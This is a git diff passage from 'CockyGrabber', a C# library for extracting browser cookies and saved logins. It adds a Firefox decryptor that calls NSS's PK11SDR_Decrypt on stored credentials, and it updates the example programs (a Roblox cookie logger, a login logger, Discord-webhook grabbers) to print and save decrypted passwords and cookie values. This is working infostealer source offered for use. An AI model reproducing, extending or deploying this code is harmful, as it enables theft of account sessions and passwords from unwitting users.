cookies.AddRange(VG.GetCookies()); - cookies.AddRange(OG.GetCookies()); - cookies.AddRange(OGG.GetCookies()); - cookies.AddRange(EG.GetCookies()); + if (CG.CookiesExist()) + cookies.AddRange(CG.GetCookies()); + if (BG.CookiesExist()) + cookies.AddRange(BG.GetCookies()); + if (VG.CookiesExist()) + cookies.AddRange(VG.GetCookies()); + if (OG.CookiesExist()) + cookies.AddRange(OG.GetCookies()); + if (OGG.CookiesExist()) + cookies.AddRange(OGG.GetCookies()); + if (EG.CookiesExist()) + cookies.AddRange(EG.GetCookies()); return cookies; } - public Tuple, IEnumerable> GetAllCookiesByChromium(Chromium.CookieHeader by, object value) - => new Tuple, IEnumerable>(GetAllChromiumCookiesBy(by, value), FG.GetCookies()); - public Tuple, IEnumerable> GetAllCookiesByFirefox(Firefox.CookieHeader by, object value) - => new Tuple, IEnumerable>(GetAllChromiumCookies(), FG.GetCookiesBy(by, value)); - - public Tuple, IEnumerable> GetAllCookies() - => new Tuple, IEnumerable>(GetAllChromiumCookies(), FG.GetCookies()); + public Tuple, IEnumerable> GetAllCookies() + => new Tuple, IEnumerable>(GetAllBlinkCookies(), FG.GetCookies()); #endregion #region GetLogins() - public IEnumerable GetAllChromiumLoginsBy(Chromium.LoginHeader by, object value) + public IEnumerable GetAllBlinkLoginsBy(Blink.LoginHeader by, object value) { - List logins = new List(); + List logins = new List(); // Add Logins to list: - logins.AddRange(CG.GetLoginsBy(by, value)); - logins.AddRange(BG.GetLoginsBy(by, value)); - logins.AddRange(VG.GetLoginsBy(by, value)); - logins.AddRange(OG.GetLoginsBy(by, value)); - logins.AddRange(OGG.GetLoginsBy(by, value)); - logins.AddRange(EG.GetLoginsBy(by, value)); + if (CG.CookiesExist()) + logins.AddRange(CG.GetLoginsBy(by, value)); + if (BG.CookiesExist()) + logins.AddRange(BG.GetLoginsBy(by, value)); + if (VG.CookiesExist()) + logins.AddRange(VG.GetLoginsBy(by, value)); + if (OG.CookiesExist()) + logins.AddRange(OG.GetLoginsBy(by, value)); + if (OGG.CookiesExist()) + logins.AddRange(OGG.GetLoginsBy(by, value)); + if (EG.CookiesExist()) + logins.AddRange(EG.GetLoginsBy(by, value)); return logins; } - - public IEnumerable GetAllChromiumLogins() + public IEnumerable GetAllBlinkLogins() { - List logins = new List(); + List logins = new List(); // Add Logins to list: - logins.AddRange(CG.GetLogins()); - logins.AddRange(BG.GetLogins()); - logins.AddRange(VG.GetLogins()); - logins.AddRange(OG.GetLogins()); - logins.AddRange(OGG.GetLogins()); - logins.AddRange(EG.GetLogins()); + if (CG.CookiesExist()) + logins.AddRange(CG.GetLogins()); + if (BG.CookiesExist()) + logins.AddRange(BG.GetLogins()); + if (VG.CookiesExist()) + logins.AddRange(VG.GetLogins()); + if (OG.CookiesExist()) + logins.AddRange(OG.GetLogins()); + if (OGG.CookiesExist()) + logins.AddRange(OGG.GetLogins()); + if (EG.CookiesExist()) + logins.AddRange(EG.GetLogins()); return logins; } - public Tuple, IEnumerable> GetAllLoginsByChromium(Chromium.LoginHeader by, object value) - => new Tuple, IEnumerable>(GetAllChromiumLoginsBy(by, value), FG.GetLogins()); - public Tuple, IEnumerable> GetAllLoginsByFirefox(Firefox.LoginHeader by, object value) - => new Tuple, IEnumerable>(GetAllChromiumLogins(), FG.GetLoginsBy(by, value)); - - public Tuple, IEnumerable> GetAllLogins() - => new Tuple, IEnumerable>(GetAllChromiumLogins(), FG.GetLogins()); + public Tuple, IEnumerable> GetAllLogins() + => new Tuple, IEnumerable>(GetAllBlinkLogins(), FG.GetLogins()); #endregion } -} +} \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Grabbers/VivaldiGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/VivaldiGrabber.cs index ccfbfad..90feec7 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/VivaldiGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/VivaldiGrabber.cs @@ -2,23 +2,23 @@ namespace CockyGrabber.Grabbers { - public class VivaldiGrabber : ChromiumGrabber + public class VivaldiGrabber : BlinkGrabber { - public override string ChromiumBrowserCookiePath + public override string CookiePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Vivaldi\\User Data\\Default\\Network\\Cookies"; } } - public override string ChromiumBrowserLocalStatePath + public override string LocalStatePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Vivaldi\\User Data\\Local State"; } } - public override string ChromiumBrowserLoginDataPath + public override string LoginDataPath { get { diff --git a/CockyGrabber/CockyGrabber/Properties/AssemblyInfo.cs b/CockyGrabber/CockyGrabber/Properties/AssemblyInfo.cs index 1b3345d..77bb006 100644 --- a/CockyGrabber/CockyGrabber/Properties/AssemblyInfo.cs +++ b/CockyGrabber/CockyGrabber/Properties/AssemblyInfo.cs @@ -7,11 +7,11 @@ // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die einer Assembly zugeordnet sind. [assembly: AssemblyTitle("CockyGrabber")] -[assembly: AssemblyDescription("C# library for collecting browser information such as cookies, logins, and more")] +[assembly: AssemblyDescription("C# library for the collection of browser information such as cookies, logins, and more")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Void")] [assembly: AssemblyProduct("CockyGrabber")] -[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyCopyright("Copyright © Void 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -33,6 +33,6 @@ // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden, // indem Sie "*" wie unten gezeigt eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("2.2.0.0")] +[assembly: AssemblyFileVersion("2.2.0.0")] [assembly: NeutralResourcesLanguage("en")] diff --git a/CockyGrabber/CockyGrabber/Utility/DynamicJsonConverter.cs b/CockyGrabber/CockyGrabber/Utility/DynamicJsonConverter.cs index 04d0b51..5132660 100644 --- a/CockyGrabber/CockyGrabber/Utility/DynamicJsonConverter.cs +++ b/CockyGrabber/CockyGrabber/Utility/DynamicJsonConverter.cs @@ -129,6 +129,22 @@ public override bool TryGetIndex(GetIndexBinder binder, object[] indexes, out ob } private static object WrapResultObject(object result) + { + IDictionary dictionary = result as IDictionary; + if (dictionary != null) + return new DynamicJsonObject(dictionary); + + ArrayList arrayList = result as ArrayList; + if (arrayList != null && arrayList.Count > 0) + { + return arrayList[0] is IDictionary + ? new List(arrayList.Cast>().Select(x => new DynamicJsonObject(x))) + : new List(arrayList.Cast()); + } + + return result; + } + private static object _WrapResultObject(object result) { var dictionary = result as IDictionary; if (dictionary != null) diff --git a/CockyGrabber/CockyGrabber/Utility/FirefoxDecryptor.cs b/CockyGrabber/CockyGrabber/Utility/FirefoxDecryptor.cs new file mode 100644 index 0000000..fe41545 --- /dev/null +++ b/CockyGrabber/CockyGrabber/Utility/FirefoxDecryptor.cs @@ -0,0 +1,186 @@ +/* + Coded by github.com/0xPh0enix +*/ +using System; +using System.Text; +using System.Runtime.InteropServices; +using System.IO; + +namespace CockyGrabber.Utility +{ + internal sealed class WinApi + { + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string sFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string sProcName); + } + internal sealed class Nss3 + { + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssInit(string sDirectory); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssShutdown(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int Pk11SdrDecrypt(ref TSECItem tsData, ref TSECItem tsResult, int iContent); + } + public static class FirefoxDecryptor + { + private static IntPtr hNss3; + private static IntPtr hMozGlue; + + private static Nss3.NssInit fpNssInit; + private static Nss3.Pk11SdrDecrypt fpPk11SdrDecrypt; + private static Nss3.NssShutdown fpNssShutdown; + + private const string MozGlueDll = "\\mozglue.dll"; + private const string NssDll = "\\nss3.dll"; + + /// + /// Load libraries and functions for firefox value decryption + /// + /// Mozilla Firefox folder path in ProgramFiles + /// True if everything was successful + public static bool LoadNSS(string mozillaPath) + { + if (!File.Exists(mozillaPath + MozGlueDll)) // Check If DLL Exists + throw new GrabberException(GrabberError.Nss3NotFound, $"MozGlue was not found: {mozillaPath + MozGlueDll}"); + + if (!File.Exists(mozillaPath + NssDll)) // Check If DLL Exists + throw new GrabberException(GrabberError.Nss3NotFound, $"NSS3 was not found: {mozillaPath + NssDll}"); + + if (!Environment.Is64BitProcess) + throw new GrabberException(GrabberError.ProcessIsNot64Bit, "The current process is 32-bit! To decrypt firefox values it needs to be 64-bit"); + + // Load libraries with the WinApi: + hMozGlue = WinApi.LoadLibrary(mozillaPath + MozGlueDll); // This is necessary to make Nss3 work + hNss3 = WinApi.LoadLibrary(mozillaPath + NssDll); + + // Check if both libraries were loaded successfully: + if (hMozGlue == IntPtr.Zero) + throw new GrabberException(GrabberError.MozGlueNotFound, $"{MozGlueDll} could not be found: {mozillaPath + MozGlueDll}"); + if (hNss3 == IntPtr.Zero) + throw new GrabberException(GrabberError.Nss3NotFound, $"{NssDll} could not be found: {mozillaPath + NssDll}"); + + // Get adresses of functions: + IntPtr ipNssInitAddr = WinApi.GetProcAddress(hNss3, "NSS_Init"); // NSS_Init() + IntPtr ipNssPk11SdrDecrypt = WinApi.GetProcAddress(hNss3, "PK11SDR_Decrypt"); // PK11SDR_Decrypt() + IntPtr ipNssShutdown = WinApi.GetProcAddress(hNss3, "NSS_Shutdown"); // NSS_Shutdown() + + // Check if all addresses were found: + if (ipNssInitAddr == IntPtr.Zero) + throw new GrabberException(GrabberError.AddressNotFound, $"Process Address of NSS_Init was not found!"); + if (ipNssPk11SdrDecrypt == IntPtr.Zero) + throw new GrabberException(GrabberError.AddressNotFound, $"Process Address of PK11SDR_Decrypt was not found!"); + if (ipNssShutdown == IntPtr.Zero) + throw new GrabberException(GrabberError.AddressNotFound, $"Process Address of NSS_Shutdown was not found!"); + + // Get Delegates from function pointers: + fpNssInit = (Nss3.NssInit)Marshal.GetDelegateForFunctionPointer(ipNssInitAddr, typeof(Nss3.NssInit)); // NSS_Init() + fpPk11SdrDecrypt = (Nss3.Pk11SdrDecrypt)Marshal.GetDelegateForFunctionPointer(ipNssPk11SdrDecrypt, typeof(Nss3.Pk11SdrDecrypt)); // PK11SDR_Decrypt() + fpNssShutdown = (Nss3.NssShutdown)Marshal.GetDelegateForFunctionPointer(ipNssShutdown, typeof(Nss3.NssShutdown)); // NSS_Shutdown() + + // Check if all functions were found: + if (fpNssInit == null) + throw new GrabberException(GrabberError.FunctionNotFound, $"Function 'NSS_Init()' was not found!"); + if (fpPk11SdrDecrypt == null) + throw new GrabberException(GrabberError.FunctionNotFound, $"Function 'PK11SDR_Decrypt()' was not found!"); + if (fpNssShutdown == null) + throw new GrabberException(GrabberError.FunctionNotFound, $"Function 'NSS_Shutdown()' was not found!"); + + if (fpNssInit != null && fpPk11SdrDecrypt != null && fpNssShutdown != null) // If all functions were found: + return true; + else + return false; + } + + /// + /// Free Libraries and close Nss3 + /// + public static void UnLoadNSS() + { + fpNssShutdown(); + WinApi.FreeLibrary(hNss3); + WinApi.FreeLibrary(hMozGlue); + } + + /// + /// Sets firefox profile + /// + /// Path to the firefox profile + /// True if set successfully + public static bool SetProfile(string path) => fpNssInit(path) == 0; + + /// + /// Decrypt a encrypted value with Nss3 + /// + /// The encrypted value + /// The decrypted value or null if decryption was unsuccessful + public static string DecryptValue(string value) + { + IntPtr lpMemory = IntPtr.Zero; + + try + { + byte[] bPassDecoded = Convert.FromBase64String(value); // String from Base64 + + lpMemory = Marshal.AllocHGlobal(bPassDecoded.Length); // Allocate some memory + Marshal.Copy(bPassDecoded, 0, lpMemory, bPassDecoded.Length); // copy the data of bPassDecoded to lpMemory + + Nss3.TSECItem tsiOut = new Nss3.TSECItem(); + Nss3.TSECItem tsiItem = new Nss3.TSECItem + { + SECItemType = 0, + SECItemData = lpMemory, + SECItemLen = bPassDecoded.Length + }; + + if (fpPk11SdrDecrypt(ref tsiItem, ref tsiOut, 0) == 0) // If Decrypted successfully + { + if (tsiOut.SECItemLen != 0) + { + byte[] bDecrypted = new byte[tsiOut.SECItemLen]; // Create a byte array and make space for the data + Marshal.Copy(tsiOut.SECItemData, bDecrypted, 0, tsiOut.SECItemLen); // copy tsiOut.SECItemData to bDecrypted + + return Encoding.UTF8.GetString(bDecrypted); + } + } + } + catch (Exception ex) + { + throw new GrabberException(GrabberError.UnknownError, ex.ToString()); + } + finally + { + if (lpMemory != IntPtr.Zero) + Marshal.FreeHGlobal(lpMemory); // Free the allocated memory + } + return null; + } + + // useless: + public static string GetUTF8(string sNonUtf8) + { + try + { + byte[] bData = Encoding.Default.GetBytes(sNonUtf8); + return Encoding.UTF8.GetString(bData); + } + catch { return sNonUtf8; } + } + } +} \ No newline at end of file diff --git a/Examples/CookiePrinter.cs b/Examples/CookiePrinter.cs index 14972db..90ec082 100644 --- a/Examples/CookiePrinter.cs +++ b/Examples/CookiePrinter.cs @@ -13,24 +13,24 @@ static void Main(string[] args) UniversalGrabber g = new UniversalGrabber(); // Create Grabber var results = g.GetAllCookies(); // Get ALL Cookies - Chromium.Cookie[] chromiumCookies = results.Item1.ToArray(); // Simplify grabbed chromium cookies - Firefox.Cookie[] firefoxCookies = results.Item2.ToArray(); // Simplify grabbed firefox cookies + Blink.Cookie[] chromiumCookies = results.Item1.ToArray(); // Simplify grabbed Blink/Chromium cookies + Gecko.Cookie[] firefoxCookies = results.Item2.ToArray(); // Simplify grabbed Gecko cookies - // Show chromium cookies: - Console.WriteLine("CHROMIUM COOKIES:"); + // Show Blink/Chromium cookies: + Console.WriteLine("BLINK/CHROMIUM COOKIES:"); foreach (var cg in chromiumCookies) { // Print the hostname, name, and value of the cookie: Console.WriteLine(); Console.WriteLine($"Hostname: {cg.HostKey}"); Console.WriteLine($"Name: {cg.Name}"); - Console.WriteLine($"EncValue: {cg.EncryptedValue}"); + Console.WriteLine($"Value: {cg.DecryptedValue}"); } Console.WriteLine(); - // Show firefox cookies: - Console.WriteLine("FIREFOX COOKIES:"); + // Show Gecko cookies: + Console.WriteLine("GECKO COOKIES:"); foreach (var cg in firefoxCookies) { // Print the hostname, name, and value of the cookie: diff --git a/Examples/DCWebhookOperaGxGrabber.cs b/Examples/DCWebhookOperaGxGrabber.cs index 741bf45..f018160 100644 --- a/Examples/DCWebhookOperaGxGrabber.cs +++ b/Examples/DCWebhookOperaGxGrabber.cs @@ -38,9 +38,9 @@ static void Main(string[] args) OperaGxGrabber g = new OperaGxGrabber(); // Create Grabber List cookies = new List(); - g.GetCookies().ToList().ForEach(delegate (Chromium.Cookie c) // For every grabbed cookie: + g.GetCookies().ToList().ForEach(delegate (Blink.Cookie c) // For every grabbed cookie: { - cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list + cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.DecryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list }); File.WriteAllLines("./cookies_save.txt", cookies); // Save cookies in cookies_save.txt diff --git a/Examples/DiscordNetWebhookChromeGrabber.cs b/Examples/DiscordNetWebhookChromeGrabber.cs index bd4053b..188c8ed 100644 --- a/Examples/DiscordNetWebhookChromeGrabber.cs +++ b/Examples/DiscordNetWebhookChromeGrabber.cs @@ -18,9 +18,9 @@ static void Main(string[] args) ChromeGrabber g = new ChromeGrabber(); // Create Grabber List cookies = new List(); - g.GetCookies().ToList().ForEach(delegate (Chromium.Cookie c) // For every grabbed cookie: + g.GetCookies().ToList().ForEach(delegate (Blink.Cookie c) // For every grabbed cookie: { - cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list + cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.DecryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list }); File.WriteAllLines("./cookies_save.txt", cookies); // Save cookies in cookies_save.txt diff --git a/Examples/LoginLogger.cs b/Examples/LoginLogger.cs index 9d8a756..5f3f20d 100644 --- a/Examples/LoginLogger.cs +++ b/Examples/LoginLogger.cs @@ -23,13 +23,13 @@ static void Main(string[] args) }; // Grab logins and store the URLs, Usernames and Passwords in 'logins': - foreach (Chromium.Login c in g.GetAllChromiumLogins()) + foreach (Blink.Login c in g.GetAllChromiumLogins()) { - logins.Add($"Website: {c.OriginUrl} | Username: {c.UsernameValue} | Password: {c.PasswordValue}"); + logins.Add($"Website: {c.OriginUrl} | Username: {c.UsernameValue} | Password: {c.DecryptedPasswordValue}"); } - foreach (Firefox.Login c in g.FG.GetLogins()) + foreach (Gecko.Login c in g.FG.GetLogins()) { - logins.Add($"Website: {c.Hostname} | Username: {c.EncryptedUsername} | Password: {c.EncryptedPassword}"); + logins.Add($"Website: {c.Hostname} | Username: {c.DecryptedUsername} | Password: {c.DecryptedPassword}"); } File.AppendAllLines(LogFilePath, logins); // Append the grabbed Logins to the log file diff --git a/Examples/RobloxCookieLogger.cs b/Examples/RobloxCookieLogger.cs index 638d2e3..04fd160 100644 --- a/Examples/RobloxCookieLogger.cs +++ b/Examples/RobloxCookieLogger.cs @@ -17,11 +17,11 @@ static void Main(string[] args) }; // Grab cookies and store the URLs, Usernames and Passwords in 'cookies' - foreach (Chromium.Cookie c in g.GetAllChromiumCookiesBy(Chromium.CookieHeader.host_key, ".roblox.com")) + foreach (Blink.Cookie c in g.GetAllChromiumCookiesBy(Chromium.CookieHeader.host_key, ".roblox.com")) { - cookies.Add($"Host: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); + cookies.Add($"Host: {c.HostKey} | Name: {c.Name} | Value: {c.DecryptedValue}"); } - foreach (Firefox.Cookie c in g.FG.GetCookiesBy(Firefox.CookieHeader.host, ".roblox.com")) + foreach (Gecko.Cookie c in g.FG.GetCookiesBy(Firefox.CookieHeader.host, ".roblox.com")) { cookies.Add($"Host: {c.Host} | Name: {c.Name} | Value: {c.Value}"); } diff --git a/README.md b/README.md index 93e0e8a..7c652a1 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,9 @@ # CockyGrabber -CockyGrabber is a C# library for the collection of browser information such as cookies, logins, and more. -It's also very *easy* to integrate into your Projects. +CockyGrabber is a C# library that simplifies the collection of browser information such as cookies, logins, and more. It is also very *easy* to use and allows you to capture browser information without any special knowledge. -> *CockyGrabber is still in development and will receive future updates* so if you found any **Bugs**, please create an Issue and report it! +> *CockyGrabber is still in development and will receive future updates*!
+> If you got **requests** or find any **bugs**, please open an Issue! ## Documentation: Table Of Contents @@ -11,10 +11,17 @@ It's also very *easy* to integrate into your Projects. 2. [Usage](https://github.com/MoistCoder/CockyGrabber/wiki/Usage) * [Importing CockyGrabber](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#importing-cockygrabber) * [Grabbing Cookies](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-cookies) + * [Grabbing Cookies from Chromium/Blink-based Browsers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-cookies-from-chromiumblink-based-browsers) + * [Grabbing Cookies from Gecko-based Browsers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-cookies-from-gecko-based-browsers) * [Grabbing Logins](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-logins) + * [Grabbing Logins from Chromium/Blink-based Browsers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-logins-from-chromiumblink-based-browsers) + * [Grabbing Logins from Gecko-based Browsers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-logins-from-gecko-based-browsers) * [Grabbing data from multiple Browsers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#grabbing-data-from-multiple-browsers) * [Getting specific data by Headers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#getting-specific-data-by-headers) * [Catching Exceptions](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#catching-exceptions) + * [Adding Custom Browsers](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#adding-custom-browsers) + * [CustomBlinkGrabber Example](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#customblinkgrabber-example) + * [CustomGeckoGrabber Example](https://github.com/MoistCoder/CockyGrabber/wiki/Usage#customgeckograbber-example)
@@ -25,12 +32,12 @@ It's also very *easy* to integrate into your Projects. 3. Creating an NuGet Package 4. Adding custom Functions that replace the packages 5. Creating a minimalized File that anyone can easily implement in their Project without referencing CockyGrabber itself -6. Migrate to .NET Core / .NET Standart *(maybe)* -7. Creating a better documentation -8. Improving the in-code documentation -9. Making the `UniversalGrabber` less confusing (and improving it in general) +6. Improving the in-code documentation +7. Adding support for more browsers +8. Creating a UnitTest +9. Adding Events ## End -Thats it for now!
+That's it for now!
I hope you like this little project! ^^